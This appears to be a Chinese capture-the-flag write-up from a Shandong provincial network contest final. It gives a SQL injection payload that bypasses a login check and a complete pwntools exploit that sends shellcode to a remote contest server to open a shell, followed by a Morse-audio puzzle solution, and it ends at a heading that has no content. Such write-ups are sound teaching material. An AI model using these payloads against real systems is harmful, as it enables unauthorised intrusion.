山东省网络技术大赛决赛wp
web1
给源码了,没手也行
post输入,然后pass经过md5加密,判断一下pass和query[pw]是否相等
直接在user那个地方加个单引号闭合就好了
Payload :
user=' union select md5(1) # &pass=1
Game2
有rwx段,还有函数指针,有手就行
from pwn import *
local = 0
binary = "./game2"
# libc_path = ''
port = "50005"
if local == 1:
p = process(binary)
else:
p = remote("106.2.25.10",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context(arch = 'amd64',os = 'linux')
dbg()
method = '9'
buf = 0x6010c0
p.recvuntil('4. Divide two numbers')
p.sendline(method)
shellcode = shellcraft.sh()
print shellcode
shellcode = asm(shellcode)
p.recvuntil('Enter two numbers to do math with, e.g. [3 4]')
# p.sendline(shellcode)
payload = p64(buf + 0x8) + shellcode
p.sendline(payload)
# gdb.attach(p)
p.interactive()
Morse
不会杂项都出了
audacity分离音道
长信号为1,短信号为0,写个python脚本解密一下转换
00000 1000 1010 11110 00111 00000 10000 00001 11110 1010 1000 11111 01111 11100 11100 0010 00000 00111 0 10000 01111 11000 100 11000 11111 11110 00111 11110 01111 11110 01111 1010
然后就转成了这样
..... -... -.-. ----. ..--- ..... -.... ....- ----. -.-. -... ----- .---- ---.. ---.. ..-. ..... ..--- . -.... .---- --... -.. --... ----- ----. ..--- ----. .---- ----. .---- -.-.
然后找个解密工具就出来了
简单的解密脚本
Cm50
前17和后5位明文